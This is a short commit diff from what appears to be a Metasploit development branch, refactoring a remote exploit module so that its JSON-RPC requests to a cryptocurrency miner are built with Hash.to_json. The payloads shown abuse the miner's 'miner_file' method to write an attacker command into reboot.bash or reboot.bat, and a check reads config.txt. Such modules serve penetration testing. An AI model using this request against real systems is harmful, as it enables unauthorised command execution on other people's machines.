refactor: use Hash.to_json instead of strings

GSoC/Meterpreter_Web_Console
phra 2018-06-01 16:57:57 +02:00
parent 6d4ad57beb
commit 5649dd0598
No known key found for this signature in database
GPG Key ID: 91FF93D1B85D76B5
1 changed files with 18 additions and 3 deletions

View File

@ -68,9 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote
end
case target['Platform']
when 'linux'
upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", \"#{cmd}\"]}"
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bash', "#{cmd}"]
}.to_json
when 'windows'
upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}"
upload = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_file',
"params" => ['reboot.bat', "#{cmd}"]
}.to_json
end
begin
connect
@ -105,7 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}'
data = {
"id" => 0,
"jsonrpc" => '2.0',
"method" => 'miner_getfile',
"params" => ['config.txt']
}.to_json
connect
sock.put(data)
buf = sock.get_once || ''